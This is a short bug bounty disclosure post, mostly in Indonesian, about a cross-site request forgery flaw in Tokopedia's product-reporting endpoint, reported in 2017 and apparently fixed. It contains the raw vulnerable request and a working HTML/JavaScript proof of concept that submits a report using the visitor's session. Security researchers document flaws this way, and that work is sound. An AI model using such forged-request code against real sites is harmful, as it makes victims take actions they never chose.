Tokopedia - CSRF On Report Item
CSRF Issue On Tokopedia,
List of bug on Tokopedia :-
-
-
-
-
saya menemukan CSRF di Laporkan barang
Pendahuluan
Bug ini untuk melaporkan barang dari toko lain dikarenakan tidak ada CSRF token dalam request
Vuln Request:
POST /ajax/product-e4.pl HTTP/1.1
Host: www.tokopedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: null
Cookie: <some cookie>
Connection: close
type=4&element_id=170328516&r_type=9&r_message=Seleernya+jahat%2C+aku+gadikasih+diskon%2C+padahal+beli+banyaaak+%3A(+&click_name=submit&action=event_dialog_report
Note : element_id adalah sebuah id dari barang
Poc Code:
<script>
function getMe(){
// retrieve page content
var xhr = new XMLHttpRequest();
// now execute the CSRF attack
xhr.open("POST", "https://www.tokopedia.com/ajax/product-e4.pl", true);
xhr.withCredentials="true";
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send('type=4&element_id=170328516&r_type=9&r_message=Seleernya+jahat%2C+aku+gadikasih+diskon%2C+padahal+beli+banyaaak+%3A(+&click_name=submit&action=event_dialog_report');
}
</script>
<button onclick="getMe();">Let's Rock</button>
Step to reproduce,
- save to html
- eksekusi
- barang akan dilaporkan
Kenapa bug ini bisa terjadi ?
Karena tidak ada token dalam mengirimkan sebuah POST request untuk melaporkan barang
Jika membutuhkan video, saya upload di :
https://youtu.be/3P2b96v-GBc (video sudah saya set pribadi)
Timeline:
- 7 April 2017 => Reporting
- 10 May => Fixing & Ask Document
- Waiting Bounty ( Will be edited )
Comments
Post a Comment